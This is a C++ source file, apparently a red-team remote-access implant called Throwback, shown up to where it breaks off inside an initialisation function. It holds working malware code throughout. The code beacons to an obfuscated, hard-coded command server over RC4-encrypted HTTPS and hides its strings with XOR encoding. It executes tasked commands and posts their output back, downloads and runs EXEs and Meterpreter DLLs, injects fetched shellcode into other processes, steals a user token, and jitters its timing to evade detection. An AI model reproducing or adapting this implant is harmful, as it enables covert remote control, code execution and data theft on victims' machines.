Files
silentbreaksec-Throwback/Throwback/Throwback.cpp
T
silentbreaksec 3f3f05ec5f Initial
2014-08-08 11:02:21 -06:00

1883 lines
47 KiB
C++

// throwBack.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include <UrlMon.h>
#include <winhttp.h>
#include <Windows.h>
#include <ShellAPI.h>
#include <string>
#include <time.h>
#include "WinHttpClient.h"
#include <tlhelp32.h>
#include "Base64_RC4.h"
#include "Throwback.h"
#include "LoadLibraryR.h"
#include <WinSock.h>
using namespace std;
extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
////////////////// CONFIGURABLE SETTINGS BEGIN //////////////////
//UNCOMMENT TO DEBUG PROXY
//#define DEBUGPROXY
//SLEEP TIME WHEN DNS FAILS TO RESOLVE
#ifndef _DEBUG
int DNSERROR = 900; //IN SECONDS = 15 MINUTES
#else
int DNSERROR = 5;
#endif
//CODE IN THE HTML TO DENOTE TASKS FOLLOW
// stup1fy
int COMMANDCODE[] = {34,37,36,33,96,55,40};
//MAX LENGTH OF EACH DNS NAME
const int DNSCODESIZE = 60;
//MAX SIZE OF DNS NAME ARRAY
const int DNSARRAY = 2;
//ARRAY TO HOLD THE ENCODED URLS TO CALL BACK TO!
//DNSARRAY AND DNSCODESIZE MUST MATCH THIS ARRAY! - EACH ARRAY MUST END WITH -1 SO THE STRING DECRYPTER KNOWS WHEN THE STRING IS COMPLETE!!!
// https://192.168.20.133/index.php
int DNSCODE[DNSARRAY][DNSCODESIZE] = {{57,37,37,33,34,107,126,126,96,104,99,127,96,103,105,127,99,97,127,96,98,98,126,56,63,53,52,41,127,33,57,33,-1}, {57,37,37,33,34,107,126,126,96,104,99,127,96,103,105,127,99,97,127,96,98,98,126,56,63,53,52,41,127,33,57,33,-1}};
//0 = LINEAR SELECTION OF LPs; 1 = RANDOM SELECTION OF LPs
bool RCONNECTION = 1;
////////////////// CONFIGURABLE SETTINGS END //////////////////
//ARRAY OF ASCII CHARS
wchar_t ASCIICHARS[256];
//KEY FOR RC4 ENCRYPTION
const char *RC4KEY = "ZAQwsxcde321";
//DEFAULT CB TIME IS NOT UPDATED
int cbTimeUpdated = 0;
//USED TO PREVENT BASE64 FROM GETTING JACKED UP
const wchar_t GOODCHAR = '~';
const wchar_t BADCHAR = '+';
//ALL THE POST VARIABLES ARE STORED HERE
wstring urlVars;
// STRUCTURE FOR INTERNET SETTINGS
struct WINHTTPCONNECT
{
bool connectionValid;
int connectionType;
int connectionNumber;
wstring proxyConfig;
wstring sUrl;
};
//FUNCTION DECLARATIONS
int copyX(wchar_t *, wstring);
bool setupConnection(WINHTTPCONNECT &);
bool findProxyConfig(WINHTTPCONNECT &);
WinHttpClient setupHttpClient(WINHTTPCONNECT &);
string preparePost(wstring);
//START OF CODE
int enableSEPrivilege(LPCTSTR name)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) return 0;
if(!LookupPrivilegeValue(NULL, name, &luid)) return 0;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL)) return 0;
if(GetLastError() == ERROR_NOT_ALL_ASSIGNED) return 0;
CloseHandle(hToken);
return 1;
}
DWORD findPid(wchar_t *procName)
{
DWORD tPid = 0;
DWORD res = 0;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
wstring pName = procName;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if(pName.find(L"\\") != -1)
{
int begin = pName.find_last_of(L"\\");
pName = pName.substr(begin + 1, pName.length());
}
//FIND PID OF PROCESS
if(Process32First(snapshot, &entry) == TRUE)
{
while(Process32Next(snapshot, &entry) == TRUE)
{
if(wcscmp(entry.szExeFile, pName.c_str()) == 0)
{
tPid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return tPid;
}
HANDLE duplicateToken()
{
int r = enableSEPrivilege(SE_RESTORE_NAME);
r = enableSEPrivilege(SE_CREATE_TOKEN_NAME);
r = enableSEPrivilege(SE_IMPERSONATE_NAME);
r = enableSEPrivilege(SE_CREATE_TOKEN_NAME);
HANDLE hPToken = NULL;
HANDLE hProcToken;
HANDLE hDupToken;
//GET A HANDLE TO PROCESS
DWORD hPid = findPid(L"explorer.exe");
if(hPid == 0) return NULL;
hProcToken = OpenProcess(MAXIMUM_ALLOWED, FALSE, hPid);
DWORD res = GetLastError();
if(hProcToken != NULL)
{
//OPEN TARGET PROCESS TO OBTAIN USER TOKEN
OpenProcessToken(hProcToken, TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID|TOKEN_READ|TOKEN_WRITE, &hPToken);
if(hPToken != 0)
{
//DUPLICATE USER TOKEN
if(DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDupToken) != 0)
{
//IMPERSONATE USER
res = ImpersonateLoggedOnUser(hDupToken);
res = GetLastError();
}
CloseHandle(hPToken);
}
CloseHandle(hProcToken);
}
return hDupToken;
}
int revToSelf()
{
if(RevertToSelf()) return 1;
else return 0;
}
wstring decryptString(int codeString[], int codeLength)
{
int count = 0;
wstring temp = L"";
int xKey = 'Q';
count = 0;
while(count < codeLength)
{
int k = 0;
if (codeString[count] == -1) break;
else
{
k = xKey;
temp += (codeString[count] ^ k) % 255;
}
count++;
}
return temp.c_str();
}
//SLEEP FOR SPECIFIED DELAY
void sleepDelay(int seconds)
{
//ADD SOME VARIATION TO EVADE BASIC MALWARE DETECTION
double r = (double)rand() / RAND_MAX;
double s = seconds * (.9 + r * (1.1 - .9));
Sleep(s * 1000);
}
//INJECT SHELLCODE
int injectShellCode(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength)
{
BOOL bSuccess = FALSE;
LPVOID lpRemoteLibraryBuffer = NULL;
DWORD dwThreadId = 0;
DWORD dwResult = 0;
HANDLE hThread = NULL;
PRTL_CREATE_USER_THREAD RtlCreateUserThread = NULL;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength ) break;
//OutputDebugString("ATTEMPING INJECTION!");
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
{
//OutputDebugString(L"VirtualAllocEx FAILED!");
break;
}
// write the image into the host process...
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
{
//OutputDebugString(L"WriteProcessMemory FAILED!");
break;
}
//OutputDebugString(L"INJECTING DLL!");
DWORD ThreadID;
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteLibraryBuffer, 0, 0, &ThreadID);
if(GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
{
RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
if(RtlCreateUserThread) RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (LPTHREAD_START_ROUTINE)lpRemoteLibraryBuffer, 0, &hThread, NULL);
else
{
VirtualFree(lpRemoteLibraryBuffer, dwLength, 0);
return 1;
}
if(hThread == NULL)
{
OutputDebugStringA("INJECTION FAILED!");
return 1;
}
}
} while( 0 );
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
hThread = NULL;
}
return 0;
}
/**
//INJECT SHELLCODE DIRECTLY INTO MEMORY
int injectShellCode(wstring wBase64, int runas, int procID)
{
if(wBase64.length() > 1024 || wBase64.length() < 128) return 13;
//OPEN PROCESS
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if(hHandle == INVALID_HANDLE_VALUE) return 13;
//CONVERT WIDE TO CHAR
char *b64 = new char[wBase64.length() + 1];
b64[wBase64.length()] = '\0';
WideCharToMultiByte(CP_ACP, 0, wBase64.c_str(), -1, b64, wBase64.length(), NULL, NULL);
//DESTINATION BUFFER
char abuf[1024];
memset(abuf, 0, 1024);
//BASE64 COMMAND RESULTS
CBase64 base64;
base64.Decrypt(b64, wBase64.length(), abuf);
delete[] b64;
//DWORD procSize = scCode.length();
DWORD bufLen = strlen(abuf);
LPVOID lpProc = VirtualAllocEx(hHandle, 0, bufLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//LPVOID lpProc = VirtualAllocEx(hHandle, 0, wBase64.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpParams = VirtualAllocEx(hHandle, 0, 1024, MEM_COMMIT, PAGE_READWRITE);
if(!lpProc || !lpParams) return 13;
//WRITE SHELLCODE TO MEMORY
DWORD dwWritten;
if(WriteProcessMemory(hHandle, lpProc, &abuf, bufLen, (SIZE_T *)&dwWritten) == 0) return 13;
//if(WriteProcessMemory(hHandle, lpProc, &b64, wBase64.length(), (SIZE_T *)&dwWritten) == 0) return 13;
//CREATE THE REMOTE THREAD
DWORD ThreadID;
HANDLE hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lpProc, lpParams, 0, &ThreadID);
if (hThread == NULL) return 13;
else WaitForSingleObject(hThread, 2000);
VirtualFreeEx(hHandle, lpProc, bufLen, MEM_DECOMMIT);
//VirtualFreeEx(hHandle, lpProc, wBase64.length(), MEM_DECOMMIT);
VirtualFreeEx(hHandle, lpParams, 1024, MEM_DECOMMIT);
CloseHandle(hHandle);
return 0;
}
**/
//RUN COMMAND RETURN OUTPUT
wstring runCommand(wstring command, wstring args, int dToken)
{
HANDLE hDupToken = NULL;
//IF dToken IS SET, THEN IMPLANT IS RUNNING AS SYSTEM AND MUST DUPLICATE TOKEN OF USER
//THIS IS NEEDED TO CREATE PROCESSES THAT REQUIRE USER PROXY SETTINGS...LIKE THE METERPRETER CALLBACK
if(dToken == 1)
{
hDupToken = duplicateToken();
if(hDupToken == NULL) return L"14";
}
wstring retString = L"0";
SECURITY_ATTRIBUTES secattr;
ZeroMemory(&secattr,sizeof(secattr));
secattr.nLength = sizeof(secattr);
secattr.bInheritHandle = true;
HANDLE rPipe, wPipe;
CreatePipe(&rPipe, &wPipe, &secattr, 0);
STARTUPINFO sInfo;
ZeroMemory(&sInfo, sizeof(sInfo));
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.lpDesktop = NULL;
sInfo.hStdInput = NULL;
sInfo.hStdOutput = wPipe;
sInfo.hStdError = wPipe;
sInfo.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pInfo;
ZeroMemory(&pInfo, sizeof(pInfo));
DWORD ret = 0;
if(args.length() == 0)
{
if(dToken == 0) ret = CreateProcess(command.c_str(), 0, 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo);
else if(dToken == 1) ret = CreateProcessAsUser(hDupToken, (LPWSTR)command.c_str(), 0, 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo);
}
else
{
command.append(L" ");
command.append(args.c_str());
if(dToken == 0) ret = CreateProcess(0, (LPWSTR)command.c_str(), 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo);
else if(dToken == 1)
{
ret = CreateProcessAsUser(hDupToken, 0, (LPWSTR)command.c_str(), 0, 0, true, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, 0, 0, &sInfo, &pInfo);
//CREATEPROCESSASUSER RETURNS 0 FOR SUCCESS SO MAKE IT 1 LIKE CREATEPROCESS IF SUCCESSFUL
if(ret == 0) ret = 1;
}
}
string temp;
//9 = UNABLE TO CREATE PROCESS
if(ret != 1)
{
retString = L"9";
}
else
{
CloseHandle(wPipe);
//WAIT FOR OBJECT TO FINISH
WaitForSingleObject(pInfo.hProcess, 10000);
DWORD reDword;
//CHECK IF PIPE IS EMPTY
if(PeekNamedPipe(rPipe, NULL, NULL, NULL, &reDword, NULL))
{
//IF ITS NOT EMPTY PULL STDOUT FROM THE PIPE
if(reDword != 0)
{
char buf[256];
BOOL res;
do
{
string t;
res = ::ReadFile(rPipe, buf, sizeof(buf), &reDword, 0);
t = buf;
//CUT OFF THE CRAP AT THE END
temp.append(t.substr(0,reDword));
}while(res);
//8 = PROCESS IS STILL RUNNING OR RETURNED NO OUTPUT
}else retString = L"8";
//8 = PROCESS IS STILL RUNNING OR RETURNED NO OUTPUT
}else retString = L"8";
}
if(temp.length() > 0)
{
wchar_t *wszTo = new wchar_t[temp.length() + 1];
wszTo[temp.size()] = L'\0';
MultiByteToWideChar(CP_ACP, 0, temp.c_str(), -1, wszTo, temp.length());
retString = wszTo;
delete[] wszTo;
}
if(hDupToken != NULL) CloseHandle(hDupToken);
if(dToken == 1) revToSelf();
return retString;
}
/**
int copyX(wchar_t *origin, wchar_t *destination)
{
int ret = 1;
//DELETE FILE IF IT EXISTS
if(GetFileAttributes(destination) != INVALID_FILE_ATTRIBUTES)
{
SetFileAttributes(destination, FILE_ATTRIBUTE_NORMAL);
DeleteFile(destination);
}
//AV FLAGGED HERE - USED CopyFile BEFORE!
ret = CopyFileEx(origin, destination, NULL, NULL, NULL, NULL);
//NOW COPY FILE
if(ret != 0) ret = 0; //COPY SUCCESSFUL
else ret = 1; //COPY UNSUCCESSFUL - PERMISSIONS(5) OR ALREADY RUNNING(32)!
SetFileAttributes(destination, FILE_ATTRIBUTE_HIDDEN);
return ret;
}
**/
//SET PROXY CONFIGURATION WHICH IS STORED IN hConnect AT STARTUP
void setProxyConfig(WinHttpClient &hClient, WINHTTPCONNECT &hConnect)
{
//SET CONNECTION INFO
//1 | 3 = PROXY SERVER
if(hConnect.connectionType == 1 || hConnect.connectionType == 3)
{
hClient.SetProxy(hConnect.proxyConfig);
hClient.SetProxyUrl(L"");
}
//2 | 4 = WPAD URL
else if(hConnect.connectionType == 2 || hConnect.connectionType == 4)
{
hClient.SetProxy(L"");
hClient.SetProxyUrl(hConnect.proxyConfig);
}
//0 = DIRECT CONNECTION
else if(hConnect.connectionType == 0)
{
hClient.SetProxy(L"");
hClient.SetProxyUrl(L"");
}
return;
}
int downloadFile(wchar_t *url, wchar_t *destination, WINHTTPCONNECT &hConnect)
{
//SETUP HTTP CLIENT
WinHttpClient tClient(url);
//SETUP PROXY CONFIG
setProxyConfig(tClient, hConnect);
//DON'T REQUIRE VALID CERT
tClient.SetRequireValidSslCertificates(false);
//FORCE PROXY REFRESH
tClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n");
//SEND REQUEST
tClient.SendHttpRequest();
//MAKE SURE STATUS CODE IS GOOD
if(tClient.m_statusCode != L"200") return 1;
//SLEEP FOR DOWNLOAD TO COMPLETE
sleepDelay(5); //KIND OF GHETTO...JUST TO MAKE SURE ENOUGH DOWNLOAD TIME
//while(hClient.
if(tClient.SaveResponseToFile(destination) == false) return 1;
return 0;
}
wstring getHostName()
{
wchar_t cName[256];
DWORD length = 256;
GetComputerName(cName, &length);
wstring hn = cName;
return hn;
}
int sendData(WINHTTPCONNECT &hConnect, wchar_t *commandResult, wchar_t *pk)
{
wstring pData = urlVars;
//MATCHING KEY
// &pk=
int pkInt[] = {119,33,58,108};
pData.append(decryptString(pkInt, (sizeof(pkInt)/sizeof(int))));
pData.append(pk);
//RESULTS
// &res=
int resInt[] = {119,35,52,34,108};
pData.append(decryptString(resInt, (sizeof(resInt)/sizeof(int))));
//CONVERT WIDE TO CHAR
char *commandRes = new char[wcslen(commandResult) + 1];
commandRes[wcslen(commandResult)] = '\0';
WideCharToMultiByte(CP_ACP, 0, commandResult, -1, commandRes, wcslen(commandResult), NULL, NULL);
//BASE64 COMMAND RESULTS
CBase64 base64;
char *b64CommandRes = new char[base64.B64_length(strlen(commandRes)) + 1];
if(b64CommandRes == NULL) return 1;
base64.Encrypt(commandRes, strlen(commandRes), b64CommandRes);
//CONVERT BACK TO WIDE - I HATE THIS!
wchar_t *b64Wchar = new wchar_t[strlen(b64CommandRes) + 1];
b64Wchar[strlen(b64CommandRes)] = '\0';
MultiByteToWideChar(CP_ACP, 0, b64CommandRes, -1, b64Wchar, strlen(b64CommandRes));
//NOW APPEND TO POST DATA
pData.append(b64Wchar);
while(true)
{
int found = pData.find(BADCHAR);
if(found != -1) pData[found] = GOODCHAR;
else break;
}
string aData = preparePost(pData);
/**
//CONVERT POST DATA TO MB
char *aTmp = new char[pData.length() + 1];
aTmp[pData.length()] = '\0';
WideCharToMultiByte(CP_ACP, 0, pData.c_str(), -1, aTmp, pData.length(), NULL, NULL);
//ENCRYPT POST DATA
CRC4 rc4;
rc4.Encrypt(aTmp, RC4KEY);
//BASE64 ENCODE POST DATA AFTER ENCODING
char *dst = new char[base64.B64_length(strlen(aTmp)) + 1];
if(dst == NULL) return 1;
base64.Encrypt(aTmp, strlen(aTmp), dst);
string aData = "pd=";
aData.append(dst);
//CHANGE ALL '+' TO '~' --> THE '+' IN THE URL JACKS UP THE DECODING
while (true)
{
int found = aData.find(BADCHAR);
if(found != -1) aData[found] = GOODCHAR;
else break;
}
**/
//CREATE URL TO POST RESULTS
//wstring sendUrl = hConnect.sUrl;
//sendUrl.append(decryptString(PHPTASKING, (sizeof(PHPTASKING)/sizeof(int))));
//SETUP HTTP CLIENT
WinHttpClient tClient(hConnect.sUrl);
//SETUP PROXY CONFIG
setProxyConfig(tClient, hConnect);
//DON'T REQUIRE VALID CERT
tClient.SetRequireValidSslCertificates(false);
//ADD POST VARS TO REQUEST
tClient.SetAdditionalDataToSend((BYTE *)aData.c_str(), aData.length());
//ADD POST CONTENT HEADERS
wstring pHeaders = L"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nPragma: no-cache\r\n";
wchar_t szHeaders[MAX_PATH * 10] = L"";
swprintf_s(szHeaders, MAX_PATH * 10, pHeaders.c_str(), aData.length());
tClient.SetAdditionalRequestHeaders(szHeaders);
//SEND REQUEST
tClient.SendHttpRequest(L"POST", true);
//CLEAN UP!
delete[] commandRes;
delete[] b64CommandRes;
delete[] b64Wchar;
//CHECK STATUS CODE
if(tClient.m_statusCode != L"200") return 1;
else return 0;
}
int updateCallBack(LPCWSTR callBack)
{
try
{
DEFAULTTIMEOUT = _wtoi(callBack) * 60;
}
catch(...)
{
DEFAULTTIMEOUT = 1800;
return 1;
}
cbTimeUpdated = 1;
return 0;
}
string preparePost(wstring pData)
{
//CONVERT POST DATA TO MB
char *aTmp = new char[pData.length() + 1];
aTmp[pData.length()] = '\0';
WideCharToMultiByte(CP_ACP, 0, pData.c_str(), -1, aTmp, pData.length(), NULL, NULL);
//ENCRYPT POST DATA
CRC4 rc4;
rc4.Encrypt(aTmp, RC4KEY);
//BASE64 ENCODE POST DATA
CBase64 base64;
char *dst = new char[base64.B64_length(strlen(aTmp)) + 1];
if(dst == NULL) return "-1";
base64.Encrypt(aTmp, strlen(aTmp), dst);
string aData = "pd=";
aData.append(dst);
//CHANGE ALL '+' TO '~' --> THE '+' IN THE URL JACKS UP THE DECODING
while (true)
{
int found = aData.find(BADCHAR);
if(found != -1) aData[found] = GOODCHAR;
else break;
}
//CLEAN UP AND RETURN
delete[] dst;
delete[] aTmp;
return aData;
}
wstring retrieveData(WINHTTPCONNECT &hConnect)
{
wstring pData = L"";
//OutputDebugString(L"RETRIEVING HTML KEY!");
//ADD OTHER VARIABLES (hn, un, id)
pData = urlVars;
//ADD POST VARIABLE FOR PROXY STATUS
if(hConnect.connectionType != 0)
{
// &pe=
int proxyCode[] = {119,33,52,108};
pData.append(decryptString(proxyCode, (sizeof(proxyCode)/sizeof(int))));
pData.append(L"1");
}
//TELL LP CALLBACK TIME IS NOT MODIFIED
if(cbTimeUpdated == 0)
{
// &cb=
int cbTimeCode[] = {119,50,51,108};
pData.append(decryptString(cbTimeCode, (sizeof(cbTimeCode)/sizeof(int))));
pData.append(L"1");
}
//PREPARE POST - BASE64, ENCRYPT, ETC.
string aData = preparePost(pData);
//CREATE URL TO RETRIEVE TASKS
//wstring retrieveUrl = hConnect.sUrl;
//retrieveUrl.append(decryptString(PHPTASKING, (sizeof(PHPTASKING)/sizeof(int))));
//SETUP HTTP CLIENT
WinHttpClient tClient(hConnect.sUrl);
//SETUP PROXY CONFIG
setProxyConfig(tClient, hConnect);
//DON'T REQUIRE VALID CERT
tClient.SetRequireValidSslCertificates(false);
//ADD POST VARS TO REQUEST
tClient.SetAdditionalDataToSend((BYTE *)aData.c_str(), aData.size());
//ADD POST HEADERS TO REQUEST
wstring pHeaders = L"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nPragma: no-cache\r\n";
wchar_t szHeaders[MAX_PATH * 10] = L"";
swprintf_s(szHeaders, MAX_PATH * 10, pHeaders.c_str(), aData.size());
tClient.SetAdditionalRequestHeaders(szHeaders);
//SEND REQUEST
tClient.SendHttpRequest(L"POST", true);
//RETURN -1 IF STATUS CODE IS NOT 200-OK
if(tClient.m_statusCode != L"200")
{
//OutputDebugString(L"STATUS NOT 200! RETRYING...");
tClient.SendHttpRequest(L"POST", true);
if(tClient.m_statusCode != L"200")
{
//OutputDebugString(tClient.m_statusCode.c_str());
return L"-1";
}
}
//RETRIEVE CONTENT
wstring rResponse = tClient.GetResponseContent();
//KEY IN HTML
wstring lpKey = decryptString(COMMANDCODE, (sizeof(COMMANDCODE)/sizeof(int)));
wchar_t *ENDER = L">";
//CHECK IF KEY IS PRESENT
int found1 = rResponse.find(lpKey.c_str());
//RETURN THE STRING IF KEY IS PRESENT
if(found1 != -1)
{
int found2 = rResponse.find(ENDER, found1);
rResponse = rResponse.substr(found1+lpKey.length(), found2-found1-lpKey.length());
//OutputDebugString(L"KEY FOUND!");
}
else
{
//NO KEY FOUND!! WEIRD!!
//OutputDebugString(L"KEY NOT FOUND IN HTML!");
return L"-1";
}
return rResponse;
}
int parseRequest(wstring command, WINHTTPCONNECT &hConnect)
{
const wchar_t DELIMITER = '&';
const int NUM_ARGS = 6;
//FIND THE END
int retInt = 0;
//COUNT NUMBER OF DELIMITERS
int count = 0;
for (int i = 0; i < command.length(); i++)
{
if(command[i] == DELIMITER)
{
count++;
}
}
//PARSE REQUEST
int todo;
int position;
wstring prog;
wstring args;
wstring pk;
int runas;
try
{
//PULL OUT ACTION
position = command.find(DELIMITER);
todo = _wtoi(command.substr(0, position).c_str());
command = command.substr(position + 1, command.length() - position);
//PULL OUT PK
position = command.find(DELIMITER);
pk = command.substr(0, position).c_str();
command = command.substr(position + 1, command.length() - position);
//PULL OUT COMMAND
position = command.find(DELIMITER);
prog = command.substr(0, position);
command = command.substr(position + 1, command.length() - position);
//PULL OUT ARGS
position = command.find(DELIMITER);
args = command.substr(0, position);
command = command.substr(position + 1, command.length() - position);
//PULL OUT RUNAS CHECKBOX
position = command.find(DELIMITER);
runas = _wtoi(command.substr(0, position).c_str());
//VERIFY COUNT TO MAKE SURE REQUEST IS VALID
if(count != NUM_ARGS)
{
//10 IS MALFORMED DATA
retInt = 10;
retInt = sendData(hConnect, L"10", (wchar_t *)pk.c_str());
return retInt;
}
wstring commandResult;
if(todo == 0)
{
retInt = 10;
}
//EXECUTE EXE
else if(todo == 1)
{
commandResult = runCommand(prog, args, runas);
//POST OUTPUT
retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str());
}
//DOWNLOAD AND EXECUTE EXE
else if(todo == 2)
{
retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect);
if(retInt == 0)
{
commandResult = runCommand(args, L"", runas);
//POST OUTPUT
retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str());
}
else
{
//3 = DOWNLOAD FAILED
retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str());
}
}
//DOWNLOAD A FILE
else if(todo == 3)
{
retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect);
if(retInt == 0)
{
commandResult = L"0";
retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str());
}
else
{
//3 = DOWNLOAD FAILED
retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str());
}
}
//DOWNLOAD AND EXECUTE DLL
else if(todo == 4)
{
retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect);
if(retInt == 0)
{
// ,DllMain@12 - DEFAULT ENTRY POINT FOR METERPRETER DLLS - FIND A WAY TO MAKE THIS MODIFIABLE
int dllMain[] = {125,21,61,61,28,48,56,63,17,96,99};
args.append(decryptString(dllMain, (sizeof(dllMain)/sizeof(int))));
commandResult = runCommand(L"rundll32.exe", args, runas);
//POST OUTPUT
retInt = sendData(hConnect, (wchar_t *)commandResult.c_str(), (wchar_t *)pk.c_str());
}
else
{
//3 = DOWNLOAD FAILED
retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str());
}
}
//SET CB TIME
else if(todo == 5)
{
retInt = updateCallBack((wchar_t *)prog.c_str());
if(retInt == 0) retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str());
else retInt = sendData(hConnect, L"1", (wchar_t *)pk.c_str());
}
//UPGRADE IMPLANT
else if(todo == 6)
{
retInt = downloadFile((wchar_t *)prog.c_str(), (wchar_t *)args.c_str(), hConnect);
if(retInt == 0)
{
//START NEW VERSION
commandResult = runCommand(args, L"", runas);
if(commandResult == L"8")
{
retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str());
exit(0);
}
//9 = FAILED TO START PROGRAM
else retInt = sendData(hConnect, L"9", (wchar_t *)pk.c_str());
}
//3 = DOWNLOAD FAILED
else retInt = sendData(hConnect, L"3", (wchar_t *)pk.c_str());
}
//UNINSTALL IMPLANT
else if(todo == 7)
{
retInt = UninstallTB();
//NO ERRORS!
if(retInt == 0)
{
retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str());
exit(0);
}
//ERROR UNINSTALLING!!
else retInt = sendData(hConnect, L"11", (wchar_t *)pk.c_str());
}
//INSTALL SERVICE - REMOVED THIS FEATURE...NOT NEEDED
else if(todo == 8)
{
retInt = sendData(hConnect, L"15", (wchar_t *)pk.c_str());
}
//EXECUTE SHELLCODE
else if(todo == 9)
{
//SETUP HTTP CLIENT
WinHttpClient tClient(prog.c_str());
//SETUP PROXY CONFIG
setProxyConfig(tClient, hConnect);
//DON'T REQUIRE VALID CERT
tClient.SetRequireValidSslCertificates(false);
//FORCE PROXY REFRESH
tClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n");
//SEND REQUEST TO DOWNLOAD SC...EMBEDDED IN HTML
tClient.SendHttpRequest();
wstring scString;
//RETURN CONTENT
if(tClient.m_statusCode == L"200") scString = tClient.GetResponseContent();
//BASIC ERROR CHECKING - SHELLCODE MUST BE > 225 BYTES
if(scString.length() > 200)
{
//START HIDDEN PROCESS FOR SHELLCODE INJECTION
DWORD pID = 0;
try
{
pID = _wtoi(args.c_str());
}
catch(...)
{
pID = 0;
}
if(pID != 0)
{
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
if(hHandle == INVALID_HANDLE_VALUE) retInt = 13;
else
{
//CONVERT WIDE TO CHAR
char *b64 = new char[scString.length() + 1];
memset(b64, 0, scString.length() + 1);
WideCharToMultiByte(CP_ACP, 0, scString.c_str(), -1, (LPSTR)b64, scString.length(), NULL, NULL);
//BASE64 COMMAND RESULTS
CBase64 base64;
DWORD scLen = base64.Ascii_length(scString.length());
//DESTINATION BUFFER
LPVOID *abuf = new LPVOID[scLen + 1];
memset(abuf, 0, scLen + 1);
base64.Decrypt(b64, scString.length(), (char *)abuf);
retInt = injectShellCode(hHandle, abuf, scLen);
CloseHandle(hHandle);
if(b64) delete b64;
if(abuf) delete abuf;
}
}
else retInt = 13;
//POST RESULTS
if(retInt == 0)
{
//OutputDebugString(L"INJECTED");
retInt = sendData(hConnect, L"0", (wchar_t *)pk.c_str());
}
else
{
wchar_t tmp[25];
_itow(retInt, tmp, 10);
//OutputDebugString(L"FAILED");
//OutputDebugString(tmp);
retInt = sendData(hConnect, tmp, (wchar_t *)pk.c_str());
}
}
else retInt = 1;
}
//SHORT SLEEP
else if(todo == 10)
{
try
{
int sleeper = _wtoi(prog.c_str());
sleepDelay(sleeper);
sendData(hConnect, L"0", (wchar_t *)pk.c_str());
retInt = 999;
}
catch(...)
{
retInt = sendData(hConnect, L"99", (wchar_t *)pk.c_str());
}
}
//MALFORMED DATA
else
{
retInt = 10;
}
}
catch(...)
{
//EXCEPTION THROWN
retInt = 10;
}
return retInt;
}
bool checkOS()
{
OSVERSIONINFO osver;
osver.dwOSVersionInfoSize = sizeof(osver);
bool ver = 0;
if(GetVersionEx(&osver))
{
//2000, XP, AND 2003
if(osver.dwMajorVersion == 5) ver = 0;
//VISTA AND 7
else if(osver.dwMajorVersion == 6) ver = 1;
}
return ver;
}
bool checkArch()
{
bool arch;
//GET SYSTEM ARCHITECTURE
//x86
if(sizeof(void*) == 4) arch = 0;
//x64
else arch = 1;
return arch;
}
//SET ALL POST VARIABLES THAT WILL BE USED FOR COMMS
int initializeVars()
{
int count = 0;
int ret = 0;
wstring temp = L"";
try
{
//CREATE ASCII CHARACTER ARRAY!
int i = 0x00;
while(i <= 0xff)
{
ASCIICHARS[i] = i;
i++;
}
//SPECIAL KEY IN THE POST VARIABLE
urlVars = L"";
// enc=
